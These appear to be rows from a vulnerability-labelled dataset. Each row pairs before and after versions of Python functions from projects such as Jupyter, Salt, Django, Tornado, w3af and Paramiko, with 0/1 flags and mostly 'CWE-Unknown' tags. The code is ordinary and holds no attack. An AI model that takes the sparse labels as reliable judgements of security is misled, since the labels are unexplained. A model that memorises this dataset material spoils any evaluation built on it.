        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""moment.min.js""),
        pjoin(components, ""term.js"", ""src"", ""term.js""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS_HTML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
    }
    
    return package_data",,jupyter/notebook,28829b2524da39fc0a54585dcf60868959db3ba4,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.extend([
            pjoin('static', app, 'js', 'built', '*main.min.js'),
            pjoin('static', app, 'js', 'built', '*main.min.js.map'),
        ])
    static_data.extend([
        pjoin('static', 'built', '*index.js'),
        pjoin('static', 'built', '*index.js.map'),
        pjoin('static', 'services', 'built', '*contents.js'),
        pjoin('static', 'services', 'built', '*contents.js.map'),
    ])
    
    # Add the Lab page contents
    static_data.append(pjoin('static', 'lab', 'build', '*'))

    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""moment.min.js""),
        pjoin(components, ""term.js"", ""src"", ""term.js""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS_HTML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
    }
    
    return package_data"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/plugins/crawl_plugin.py,0,"def http_get_and_parse(self, url, *args, **kwargs):
        """"""
        Perform an HTTP GET to url, and if the response is not a 404 then put()
        a FuzzableRequest with the url in the output queue, so it can be
        parsed later by web_spider.py (or any other plugin which does parsing)
        
        :return: The http response that was generated as a response to ""GET url""
        """"""
        fr = FuzzableRequest(url, method='GET')

        http_response = self._uri_opener.send_mutant(fr, cache=True)

        # The 204 check is because of Plugin.handle_url_error()
        if not is_404(http_response) and not http_response.get_code() == 204:
            self.output_queue.put(fr)

            on_success = kwargs.get('on_success', None)
            if on_success is not None:
                on_success(http_response, url, *args)

        return http_response",,andresriancho/w3af,5b188c0cdf322d48052f1118310b35c5c95494d4,"def http_get_and_parse(self, url, *args, **kwargs):
        """"""
        Perform an HTTP GET to url, and if the response is not a 404 then put()
        a FuzzableRequest with the url in the output queue, so it can be
        parsed later by web_spider.py (or any other plugin which does parsing)
        
        :return: The http response that was generated as a response to ""GET url""
        """"""
        fr = FuzzableRequest(url, method='GET')

        try:
            http_response = self._uri_opener.send_mutant(fr, cache=True)
        except BaseFrameworkException:
            pass
        else:
            if not is_404(http_response):
                self.output_queue.put(fr)

                on_success = kwargs.get('on_success', None)
                if on_success is not None:
                    on_success(http_response, url, *args)
            
            return http_response"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/docker.py,0,"def _valid_sysctls():  # pylint: disable=unused-variable
        '''
        Can be a a dictionary
        '''
        if kwargs.get('sysctls') is None:
            return
        if isinstance(kwargs['sysctls'], list):
            repacked_sysctl = {}
            for sysctl_var in kwargs['sysctls']:
                try:
                    key, val = sysctl_var.split('=')
                except AttributeError:
                    raise SaltInvocationError(
                        'Invalid sysctl variable definition \'{0}\''
                        .format(sysctl_var)
                    )
                else:
                    if key in repacked_sysctl:
                        raise SaltInvocationError(
                            'Duplicate sysctl variable \'{0}\''
                            .format(key)
                        )
                    if not isinstance(val, six.string_types):
                        raise SaltInvocationError(
                            'sysctl values must be strings {key}=\'{val}\''
                            .format(key=key, val=val))
                    repacked_sysctl[key] = val
            kwargs['sysctls'] = repacked_sysctl
        elif isinstance(kwargs['sysctls'], dict):
            for key, val in six.iteritems(kwargs['sysctls']):
                if not isinstance(val, six.string_types):
                    raise SaltInvocationError('sysctl values must be dicts')
        elif not isinstance(kwargs['sysctls'], dict):
            raise SaltInvocationError(
                'Invalid sysctls configuration.'
            )",,saltstack/salt,25655278ae7aacb713a455643dc81b99eadff6bf,"def _valid_sysctls():  # pylint: disable=unused-variable
        '''
        Can be a a dictionary
        '''
        if kwargs.get('sysctls') is None:
            return
        if isinstance(kwargs['sysctls'], list):
            repacked_sysctl = {}
            for sysctl_var in kwargs['sysctls']:
                try:
                    key, val = sysctl_var.split('=')
                except AttributeError:
                    raise SaltInvocationError(
                        'Invalid sysctl variable definition \'{0}\''
                        .format(sysctl_var)
                    )
                else:
                    if key in repacked_sysctl:
                        raise SaltInvocationError(
                            'Duplicate sysctl variable \'{0}\''
                            .format(key)
                        )
                    if not isinstance(val, six.string_types):
                        raise SaltInvocationError(
                            'sysctl values must be strings {key}=\'{val}\''
                            .format(key=key, val=val))
                    repacked_sysctl[key] = val
            kwargs['sysctls'] = repacked_sysctl
        elif isinstance(kwargs['sysctls'], dict):
            for key, val in six.iteritems(kwargs['sysctls']):
                if not isinstance(val, six.string_types):
                    raise SaltInvocationError('sysctl values must be dicts')
        elif not isinstance(kwargs['sysctls'], dict):
            raise SaltInvocationError(
                'Invalid sysctls configuration.'
            )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/template_tests/templatetags/inclusion.py,0,"def inclusion_tag_without_context_parameter(arg):
    """"""Expected inclusion_tag_without_context_parameter __doc__""""""
    return {}",CWE-Unknown,django/django,0808ccce3808235c5b5a56e3f689cec0d4bc0ebf,"def inclusion_tag_without_context_parameter(arg):
    """"""Expected inclusion_tag_without_context_parameter __doc__""""""
    return {}"
,UNKNOWN,UNKNOWN,tools/testsuite/download.py,1,"def download_artifact(
    ctx: Context,
    artifact_name: pathlib.Path,
    dest: pathlib.Path,
    run_id: int = None,
    branch: str = None,
    nightly: str = None,
    pr: int = None,
    repository: str = ""saltstack/salt"",
):
    """"""
    Download CI artifacts.
    """"""
    if TYPE_CHECKING:
        assert artifact_name is not None
        assert dest is not None

    if run_id is not None:
        actual_run_id = run_id
    else:
        potential_run_id = tools.utils.gh.discover_run_id(
            ctx, branch=branch, nightly=nightly, pr=pr, repository=repository
        )
        if potential_run_id is not None:
            actual_run_id = potential_run_id
        else:
            ctx.exit(1, ""Could not discover run ID"")

    succeeded = tools.utils.gh.download_artifact(
        ctx,
        dest,
        actual_run_id,
        repository=repository,
        artifact_name=str(artifact_name),
    )
    ctx.info(succeeded)
    if succeeded:
        ctx.info(f""Downloaded {artifact_name} to {dest}"")
        ctx.exit(0)
    else:
        ctx.exit(1)",CWE-703,saltstack/salt,7370733bae8ccd47440bd08de214b8e9756fdc28,"def download_artifact(
    ctx: Context,
    artifact_name: pathlib.Path,
    dest: pathlib.Path,
    run_id: int = None,
    branch: str = None,
    nightly: str = None,
    pr: int = None,
    repository: str = ""saltstack/salt"",
):
    """"""
    Download CI built packages artifacts.
    """"""
    if TYPE_CHECKING:
        assert artifact_name is not None
        assert dest is not None

    if run_id is not None:
        actual_run_id = run_id
    else:
        potential_run_id = tools.utils.gh.discover_run_id(
            ctx, branch=branch, nightly=nightly, pr=pr, repository=repository
        )
        if potential_run_id is not None:
            actual_run_id = potential_run_id
        else:
            ctx.exit(1, ""Could not discover run ID"")

    succeeded = tools.utils.gh.download_artifact(
        ctx,
        dest,
        actual_run_id,
        repository=repository,
        artifact_name=str(artifact_name),
    )
    ctx.info(succeeded)
    if succeeded:
        ctx.info(f""Downloaded {artifact_name} to {dest}"")
        ctx.exit(0)
    else:
        ctx.exit(1)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def transform_first_chunk(self, status_code, headers, chunk, finishing):
        if 'Vary' in headers:
            headers['Vary'] += b', Accept-Encoding'
        else:
            headers['Vary'] = b'Accept-Encoding'
        if self._gzipping:
            ctype = _unicode(headers.get(""Content-Type"", """")).split("";"")[0]
            self._gzipping = self._compressible_type(ctype) and \
                (not finishing or len(chunk) >= self.MIN_LENGTH) and \
                (""Content-Encoding"" not in headers)
        if self._gzipping:
            headers[""Content-Encoding""] = ""gzip""
            self._gzip_value = BytesIO()
            self._gzip_file = gzip.GzipFile(mode=""w"", fileobj=self._gzip_value)
            chunk = self.transform_chunk(chunk, finishing)
            if ""Content-Length"" in headers:
                # The original content length is no longer correct.
                # If this is the last (and only) chunk, we can set the new
                # content-length; otherwise we remove it and fall back to
                # chunked encoding.
                if finishing:
                    headers[""Content-Length""] = str(len(chunk))
                else:
                    del headers[""Content-Length""]
        return status_code, headers, chunk",CWE-Unknown,tornadoweb/tornado,d9689739fe4139ada808540f9864743fb14b6914,"def transform_first_chunk(self, status_code, headers, chunk, finishing):
        if 'Vary' in headers:
            headers['Vary'] += b', Accept-Encoding'
        else:
            headers['Vary'] = b'Accept-Encoding'
        if self._gzipping:
            ctype = _unicode(headers.get(""Content-Type"", """")).split("";"")[0]
            self._gzipping = self._compressible_type(ctype) and \
                (not finishing or len(chunk) >= self.MIN_LENGTH) and \
                (finishing or ""Content-Length"" not in headers) and \
                (""Content-Encoding"" not in headers)
        if self._gzipping:
            headers[""Content-Encoding""] = ""gzip""
            self._gzip_value = BytesIO()
            self._gzip_file = gzip.GzipFile(mode=""w"", fileobj=self._gzip_value)
            chunk = self.transform_chunk(chunk, finishing)
            if ""Content-Length"" in headers:
                headers[""Content-Length""] = str(len(chunk))
        return status_code, headers, chunk"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,0,"def changelist_view(self, request, extra_context=None):
        """"""
        The 'change list' admin view for this model.
        """"""
        from django.contrib.admin.views.main import ERROR_FLAG
        opts = self.model._meta
        app_label = opts.app_label
        if not self.has_change_permission(request, None):
            raise PermissionDenied

        try:
            cl = self.get_changelist_instance(request)
        except IncorrectLookupParameters:
            # Wacky lookup parameters were given, so redirect to the main
            # changelist page, without parameters, and pass an 'invalid=1'
            # parameter via the query string. If wacky parameters were given
            # and the 'invalid=1' parameter was already in the query string,
            # something is screwed up with the database, so display an error
            # page.
            if ERROR_FLAG in request.GET:
                return SimpleTemplateResponse('admin/invalid_setup.html', {
                    'title': _('Database error'),
                })
            return HttpResponseRedirect(request.path + '?' + ERROR_FLAG + '=1')

        # If the request was POSTed, this might be a bulk action or a bulk
        # edit. Try to look up an action or confirmation first, but if this
        # isn't an action the POST will fall through to the bulk edit check,
        # below.
        action_failed = False
        selected = request.POST.getlist(helpers.ACTION_CHECKBOX_NAME)

        actions = self.get_actions(request)
        # Actions with no confirmation
        if (actions and request.method == 'POST' and
                'index' in request.POST and '_save' not in request.POST):
            if selected:
                response = self.response_action(request, queryset=cl.get_queryset(request))
                if response:
                    return response
                else:
                    action_failed = True
            else:
                msg = _(""Items must be selected in order to perform ""
                        ""actions on them. No items have been changed."")
                self.message_user(request, msg, messages.WARNING)
                action_failed = True

        # Actions with confirmation
        if (actions and request.method == 'POST' and
                helpers.ACTION_CHECKBOX_NAME in request.POST and
                'index' not in request.POST and '_save' not in request.POST):
            if selected:
                response = self.response_action(request, queryset=cl.get_queryset(request))
                if response:
                    return response
                else:
                    action_failed = True

        if action_failed:
            # Redirect back to the changelist page to avoid resubmitting the
            # form if the user refreshes the browser or uses the ""No, take
            # me back"" button on the action confirmation page.
            return HttpResponseRedirect(request.get_full_path())

        # If we're allowing changelist editing, we need to construct a formset
        # for the changelist given all the fields to be edited. Then we'll
        # use the formset to validate/process POSTed data.
        formset = cl.formset = None

        # Handle POSTed bulk-edit data.
        if request.method == 'POST' and cl.list_editable and '_save' in request.POST:
            FormSet = self.get_changelist_formset(request)
            formset = cl.formset = FormSet(request.POST, request.FILES, queryset=self.get_queryset(request))
            if formset.is_valid():
                changecount = 0
                for form in formset.forms:
                    if form.has_changed():
                        obj = self.save_form(request, form, change=True)
                        self.save_model(request, obj, form, change=True)
                        self.save_related(request, form, formsets=[], change=True)
                        change_msg = self.construct_change_message(request, form, None)
                        self.log_change(request, obj, change_msg)
                        changecount += 1

                if changecount:
                    msg = ngettext(
                        ""%(count)s %(name)s was changed successfully."",
                        ""%(count)s %(name)s were changed successfully."",
                        changecount
                    ) % {
                        'count': changecount,
                        'name': model_ngettext(opts, changecount),
                    }
                    self.message_user(request, msg, messages.SUCCESS)

                return HttpResponseRedirect(request.get_full_path())

        # Handle GET -- construct a formset for display.
        elif cl.list_editable:
            FormSet = self.get_changelist_formset(request)
            formset = cl.formset = FormSet(queryset=cl.result_list)

        # Build the list of media to be used by the formset.
        if formset:
            media = self.media + formset.media
        else:
            media = self.media

        # Build the action form and populate it with available actions.
        if actions:
            action_form = self.action_form(auto_id=None)
            action_form.fields['action'].choices = self.get_action_choices(request)
            media += action_form.media
        else:
            action_form = None

        selection_note_all = ngettext(
            '%(total_count)s selected',
            'All %(total_count)s selected',
            cl.result_count
        )

        context = {
            **self.admin_site.each_context(request),
            'module_name': str(opts.verbose_name_plural),
            'selection_note': _('0 of %(cnt)s selected') % {'cnt': len(cl.result_list)},
            'selection_note_all': selection_note_all % {'total_count': cl.result_count},
            'title': cl.title,
            'is_popup': cl.is_popup,
            'to_field': cl.to_field,
            'cl': cl,
            'media': media,
            'has_add_permission': self.has_add_permission(request),
            'opts': cl.opts,
            'action_form': action_form,
            'actions_on_top': self.actions_on_top,
            'actions_on_bottom': self.actions_on_bottom,
            'actions_selection_counter': self.actions_selection_counter,
            'preserved_filters': self.get_preserved_filters(request),
            **(extra_context or {}),
        }

        request.current_app = self.admin_site.name

        return TemplateResponse(request, self.change_list_template or [
            'admin/%s/%s/change_list.html' % (app_label, opts.model_name),
            'admin/%s/change_list.html' % app_label,
            'admin/change_list.html'
        ], context)",CWE-Unknown,django/django,8116e588dbdd17171a322da589b691bdf01f7041,"def changelist_view(self, request, extra_context=None):
        """"""
        The 'change list' admin view for this model.
        """"""
        from django.contrib.admin.views.main import ERROR_FLAG
        opts = self.model._meta
        app_label = opts.app_label
        if not self.has_change_permission(request, None):
            raise PermissionDenied

        try:
            cl = self.get_changelist_instance(request)
        except IncorrectLookupParameters:
            # Wacky lookup parameters were given, so redirect to the main
            # changelist page, without parameters, and pass an 'invalid=1'
            # parameter via the query string. If wacky parameters were given
            # and the 'invalid=1' parameter was already in the query string,
            # something is screwed up with the database, so display an error
            # page.
            if ERROR_FLAG in request.GET:
                return SimpleTemplateResponse('admin/invalid_setup.html', {
                    'title': _('Database error'),
                })
            return HttpResponseRedirect(request.path + '?' + ERROR_FLAG + '=1')

        # If the request was POSTed, this might be a bulk action or a bulk
        # edit. Try to look up an action or confirmation first, but if this
        # isn't an action the POST will fall through to the bulk edit check,
        # below.
        action_failed = False
        selected = request.POST.getlist(helpers.ACTION_CHECKBOX_NAME)

        actions = self.get_actions(request)
        # Actions with no confirmation
        if (actions and request.method == 'POST' and
                'index' in request.POST and '_save' not in request.POST):
            if selected:
                response = self.response_action(request, queryset=cl.get_queryset(request))
                if response:
                    return response
                else:
                    action_failed = True
            else:
                msg = _(""Items must be selected in order to perform ""
                        ""actions on them. No items have been changed."")
                self.message_user(request, msg, messages.WARNING)
                action_failed = True

        # Actions with confirmation
        if (actions and request.method == 'POST' and
                helpers.ACTION_CHECKBOX_NAME in request.POST and
                'index' not in request.POST and '_save' not in request.POST):
            if selected:
                response = self.response_action(request, queryset=cl.get_queryset(request))
                if response:
                    return response
                else:
                    action_failed = True

        if action_failed:
            # Redirect back to the changelist page to avoid resubmitting the
            # form if the user refreshes the browser or uses the ""No, take
            # me back"" button on the action confirmation page.
            return HttpResponseRedirect(request.get_full_path())

        # If we're allowing changelist editing, we need to construct a formset
        # for the changelist given all the fields to be edited. Then we'll
        # use the formset to validate/process POSTed data.
        formset = cl.formset = None

        # Handle POSTed bulk-edit data.
        if request.method == 'POST' and cl.list_editable and '_save' in request.POST:
            FormSet = self.get_changelist_formset(request)
            formset = cl.formset = FormSet(request.POST, request.FILES, queryset=self.get_queryset(request))
            if formset.is_valid():
                changecount = 0
                for form in formset.forms:
                    if form.has_changed():
                        obj = self.save_form(request, form, change=True)
                        self.save_model(request, obj, form, change=True)
                        self.save_related(request, form, formsets=[], change=True)
                        change_msg = self.construct_change_message(request, form, None)
                        self.log_change(request, obj, change_msg)
                        changecount += 1

                if changecount:
                    msg = ngettext(
                        ""%(count)s %(name)s was changed successfully."",
                        ""%(count)s %(name)s were changed successfully."",
                        changecount
                    ) % {
                        'count': changecount,
                        'name': model_ngettext(opts, changecount),
                    }
                    self.message_user(request, msg, messages.SUCCESS)

                return HttpResponseRedirect(request.get_full_path())

        # Handle GET -- construct a formset for display.
        elif cl.list_editable:
            FormSet = self.get_changelist_formset(request)
            formset = cl.formset = FormSet(queryset=cl.result_list)

        # Build the list of media to be used by the formset.
        if formset:
            media = self.media + formset.media
        else:
            media = self.media

        # Build the action form and populate it with available actions.
        if actions:
            action_form = self.action_form(auto_id=None)
            action_form.fields['action'].choices = self.get_action_choices(request)
            media += action_form.media
        else:
            action_form = None

        selection_note_all = ngettext(
            '%(total_count)s selected',
            'All %(total_count)s selected',
            cl.result_count
        )

        context = {
            **self.admin_site.each_context(request),
            'module_name': str(opts.verbose_name_plural),
            'selection_note': _('0 of %(cnt)s selected') % {'cnt': len(cl.result_list)},
            'selection_note_all': selection_note_all % {'total_count': cl.result_count},
            'title': cl.title,
            'is_popup': cl.is_popup,
            'to_field': cl.to_field,
            'cl': cl,
            'media': media,
            'has_add_permission': self.has_add_permission(request),
            'opts': cl.opts,
            'action_form': action_form,
            'actions_on_top': self.actions_on_top,
            'actions_on_bottom': self.actions_on_bottom,
            'actions_selection_counter': self.actions_selection_counter,
            'preserved_filters': self.get_preserved_filters(request),
            **(extra_context or {}),
        }

        request.current_app = self.admin_site.name

        return TemplateResponse(request, self.change_list_template or [
            'admin/%s/%s/change_list.html' % (app_label, opts.model_name),
            'admin/%s/change_list.html' % app_label,
            'admin/change_list.html'
        ], context)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/handlers.py,0,"def validate_model(model, expect_content):
    """"""
    Validate a model returned by a ContentsManager method.

    If expect_content is True, then we expect non-null entries for 'content'
    and 'format'.
    """"""
    required_keys = {
        ""name"",
        ""path"",
        ""type"",
        ""writable"",
        ""created"",
        ""last_modified"",
        ""mimetype"",
        ""content"",
        ""format"",
    }
    missing = required_keys - set(model.keys())
    if missing:
        raise web.HTTPError(
            500,
            f""Missing Model Keys: {missing}"",
        )

    maybe_none_keys = ['content', 'format']
    if expect_content:
        errors = [key for key in maybe_none_keys if model[key] is None]
        if errors:
            raise web.HTTPError(
                500,
                f""Keys unexpectedly None: {errors}"",
            )
    else:
        errors = {
            key: model[key]
            for key in maybe_none_keys
            if model[key] is not None
        }
        if errors:
            raise web.HTTPError(
                500,
                f""Keys unexpectedly not None: {errors}"",
            )",,jupyter/notebook,4ba07e130f3c0df31b878af99a9b3e8123b69948,"def validate_model(model, expect_content):
    """"""
    Validate a model returned by a ContentsManager method.

    If expect_content is True, then we expect non-null entries for 'content'
    and 'format'.
    """"""
    required_keys = {
        ""name"",
        ""path"",
        ""type"",
        ""writable"",
        ""created"",
        ""last_modified"",
        ""mimetype"",
        ""content"",
        ""format"",
    }
    missing = required_keys - set(model.keys())
    if missing:
        raise web.HTTPError(
            500,
            u""Missing Model Keys: {missing}"".format(missing=missing),
        )

    maybe_none_keys = ['content', 'format']
    if expect_content:
        errors = [key for key in maybe_none_keys if model[key] is None]
        if errors:
            raise web.HTTPError(
                500,
                u""Keys unexpectedly None: {keys}"".format(keys=errors),
            )
    else:
        errors = {
            key: model[key]
            for key in maybe_none_keys
            if model[key] is not None
        }
        if errors:
            raise web.HTTPError(
                500,
                u""Keys unexpectedly not None: {keys}"".format(keys=errors),
            )"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/sessions/handlers.py,0,"def put(self, session_id):
        sm = self.session_manager
        nbm = self.notebook_manager
        km = self.kernel_manager
        notebook_path = self.get_argument('notebook_path', default=None)
        notebook_name, path = nbm.named_notebook_path(notebook_path)
        kernel_id = sm.get_kernel_from_session(session_id)
        kernel = km.kernel_model(kernel_id, self.ws_url)
        sm.delete_mapping_for_session(session_id)
        model = sm.session_model(session_id, notebook_name, path, kernel)
        self.finish(jsonapi.dumps(model))",,jupyter/notebook,e4a7b724a69dff34642fa97adcc61f0dfe32629b,"def put(self, session_id):
        sm = self.session_manager
        nbm = self.notebook_manager
        km = self.kernel_manager
        notebook_path = self.get_argument('notebook_path', default=None)
        notebook_name, path = nbm.named_notebook_path(notebook_path)
        kernel_id = sm.get_kernel_from_session(session_id)
        kernel = km.kernel_model(kernel_id, self.ws_url)
        sm.delete_mapping_for_session(session_id)
        model = sm.session_model(session_id, notebook_name, path, kernel)
        return model"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/beacons/adb.py,0,"def beacon(config):
    '''
    Emit the status of all devices returned by adb

    Specify the device states that should emit an event,
    there will be an event for each device with the
    event type and device specified.

    .. code-block:: yaml

        beacons:
          adb:
            - states:
                - offline
                - unauthorized
                - missing
            - no_device_event: True

    '''
    global last_state_no_devices

    log.trace('adb beacon starting')
    ret = []

    if not validate(config):
        return ret

    out = __salt__['cmd.run']('adb devices')

    lines = out.split(""\n"")[1:]
    last_state_devices = last_state.keys()
    found_devices = []

    for line in lines:
        try:
            device, state = line.split(""\t"")
            found_devices.append(device)
            if device not in last_state_devices or last_state[device] != state:
                if state in config[""states""]:
                    ret.append({""device"": device, ""state"": state, 'tag': state})
                    last_state[device] = state
        except ValueError:
            continue

    # Find missing devices and remove them / send an event
    for device in last_state_devices:
        if device not in found_devices:
            if ""missing"" in config[""states""]:
                ret.append({""device"": device,  ""state"": ""missing"", ""tag"": ""missing""})

            del last_state[device]

    # Maybe send an event if we don't have any devices
    if ""no_devices_event"" in config and config[""no_devices_event""] is True:
        if len(lines) == 0 and not last_state_no_devices:
            ret.append({""tag"": ""no_devices""})

    # Did we have no devices listed this time around?
    last_state_no_devices = len(lines) == 0

    return ret",,saltstack/salt,591cfed00d476ea7bf536399c536810d27b81fd8,"def beacon(config):
    '''
    Emit the status of all devices returned by adb

    Specify the device states that should emit an event,
    there will be an event for each device with the
    event type and device specified.

    .. code-block:: yaml

        beacons:
          adb:
            - states:
                - offline
                - unauthorized
                - missing
            - no_device_event: True

    '''
    global last_state_no_devices

    log.trace('adb beacon starting')
    ret = []

    if not validate(config):
        return ret

    out = __salt__['cmd.run']('adb devices')

    lines = out.split(""\n"")[1:]
    last_state_devices = last_state.keys()
    found_devices = []

    for line in lines:
        device, state = line.split(""\t"")
        found_devices.append(device)
        if device not in last_state_devices or last_state[device] != state:
            if state in config[""states""]:
                ret.append({""device"": device, ""state"": state, 'tag': state})
                last_state[device] = state

    # Find missing devices and remove them / send an event
    for device in last_state_devices:
        if device not in found_devices:
            if ""missing"" in config[""states""]:
                ret.append({""device"": device,  ""state"": ""missing"", ""tag"": ""missing""})

            del last_state[device]

    # Maybe send an event if we don't have any devices
    if ""no_devices_event"" in config and config[""no_devices_event""] is True:
        if len(lines) == 0 and not last_state_no_devices:
            ret.append({""tag"": ""no_devices""})

    # Did we have no devices listed this time around?
    last_state_no_devices = len(lines) == 0

    return ret"
,UNKNOWN,UNKNOWN,paramiko/client.py,1,"def connect(
        self,
        hostname,
        port=SSH_PORT,
        username=None,
        password=None,
        pkey=None,
        key_filename=None,
        timeout=None,
        allow_agent=True,
        look_for_keys=True,
        compress=False,
        sock=None,
        gss_auth=False,
        gss_kex=False,
        gss_deleg_creds=True,
        gss_host=None,
        banner_timeout=None,
        auth_timeout=None,
    ):
        """"""
        Connect to an SSH server and authenticate to it.  The server's host key
        is checked against the system host keys (see `load_system_host_keys`)
        and any local host keys (`load_host_keys`).  If the server's hostname
        is not found in either set of host keys, the missing host key policy
        is used (see `set_missing_host_key_policy`).  The default policy is
        to reject the key and raise an `.SSHException`.

        Authentication is attempted in the following order of priority:

            - The ``pkey`` or ``key_filename`` passed in (if any)
            - Any key we can find through an SSH agent
            - Any ""id_rsa"", ""id_dsa"" or ""id_ecdsa"" key discoverable in
              ``~/.ssh/``
            - Plain username/password auth, if a password was given

        If a private key requires a password to unlock it, and a password is
        passed in, that password will be used to attempt to unlock the key.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :param str username:
            the username to authenticate as (defaults to the current local
            username)
        :param str password:
            a password to use for authentication or for unlocking a private key
        :param .PKey pkey: an optional private key to use for authentication
        :param str key_filename:
            the filename, or list of filenames, of optional private key(s) to
            try for authentication
        :param float timeout:
            an optional timeout (in seconds) for the TCP connect
        :param bool allow_agent:
            set to False to disable connecting to the SSH agent
        :param bool look_for_keys:
            set to False to disable searching for discoverable private key
            files in ``~/.ssh/``
        :param bool compress: set to True to turn on compression
        :param socket sock:
            an open socket or socket-like object (such as a `.Channel`) to use
            for communication to the target host
        :param bool gss_auth:
            ``True`` if you want to use GSS-API authentication
        :param bool gss_kex:
            Perform GSS-API Key Exchange and user authentication
        :param bool gss_deleg_creds: Delegate GSS-API client credentials or not
        :param str gss_host:
            The targets name in the kerberos database. default: hostname
        :param float banner_timeout: an optional timeout (in seconds) to wait
            for the SSH banner to be presented.
